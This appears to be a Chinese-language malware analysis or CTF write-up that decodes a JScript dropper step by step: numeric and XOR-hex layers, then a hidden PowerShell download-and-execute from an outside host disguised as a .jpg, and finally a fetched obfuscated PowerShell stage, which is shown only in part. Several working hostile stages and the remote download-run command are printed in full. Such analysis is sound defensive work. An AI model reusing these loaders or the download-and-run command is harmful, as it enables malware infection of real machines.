702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642]);var emGK = ioRjQN([688,684,700,715,706,713,717,647,684,705,702,709,709]);var ioRjQN = new ActiveXObject(emGK);ioRjQN.Run(ohyLbg, 0, true);

可知 每个数要减去 601，然后转成字符
解码脚本

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def decode(arr):
    return "".join(chr(x - 601) for x in arr)

ohyLbg_data = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 699, 699, 655, 702, 651, 698, 654, 698, 650, 699, 653, 698, 702, 699, 657, 702, 651, 698, 703, 698, 651, 703, 655, 703, 702, 703, 700, 703, 699, 703, 699, 703, 653, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642] 
emGK_data  = [688,684,700,715,706,713,717,647,684,705,702,709,709]

ohyLbg = decode(ohyLbg_data)
emGK   = decode(emGK_data)

print("[emGK 解码结果]:")
print(emGK)
print()
print("[ohyLbg 解码结果]:")
print(ohyLbg)

得到结果

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[emGK 解码结果]:
WScript.Shell

[ohyLbg 解码结果]:
powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches('a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3abb6e2a5a1b4aeb8e2afa2f6fefcfbfbf4e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '204') }) -join '';& $EFTE.Substring(0,3) $EFTE.Substring(3)

主要逻辑是把一串十六进制字符串：’a5a9b49f…’按 2 个字符分割：.{2} → a5, a9, b4,9f … 转成字节并异或 204,然后拼接成字符串：（也下一层的真实 payload），运行 $EFTE

解密脚本

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import re

hex_string = "a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3abb6e2a5a1b4aeb8e2afa2f6fefcfbfbf4e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7"  
xor_key = 204

bytes_arr = re.findall(r".{2}", hex_string)
decoded = "".join(chr(int(b, 16) ^ xor_key) for b in bytes_arr)

print("[EFTE 解码结果]:")
print(decoded)

print("\n[命令前3字符]:", decoded[:3])
print("[命令参数]    :", decoded[3:])

得到结果

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[EFTE 解码结果]:
iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://gz.imxbt.cn:20778/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)[2].Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A).Value).Invoke((Variable 3 -Val))))";

[命令前3字符]: iex
[命令参数]    : Start-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://gz.imxbt.cn:20778/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)[2].Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A).Value).Invoke((Variable 3 -Val))))";

获取图片中的内容
curl http://gz.imxbt.cn:20778/bestudding.jpg
得到如下内容

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('('  | % { $r = + $() } { $u = $r } { $b = ++  $r } { $q = (  $r = $r + $b  ) } { $z = (  $r = $r + $b  ) } { $o = ($r = $r + $b  ) } { $d = ($r = $r + $b  ) } { $h = ($r = $r + $b  ) } { $e = ($r = $r + $b  ) } { $i = ($r = $r + $b  ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{  })"[$e  ] + "$(@{  })"[  "$b$l"  ] + "$(@{  }  )  "[  "$q$u"  ] + "$?"[$b  ] + "]" } { $r = "".("$(  @{}  )  "[  "$b$o"  ] + "$(@{})  "[  "$b$h"] + "$(  @{  }  )"[$u] + "$(@{}  )"[$o] + "$?  "[  $b] + "$(  @{})"[$z  ]) } { $r = "$(@{  }  )"[  "$b" + "$o"] + "$(@{  })  "[$o  ] + "$r"["$q" + "$e"  ] }  )  ;  " $r  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$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u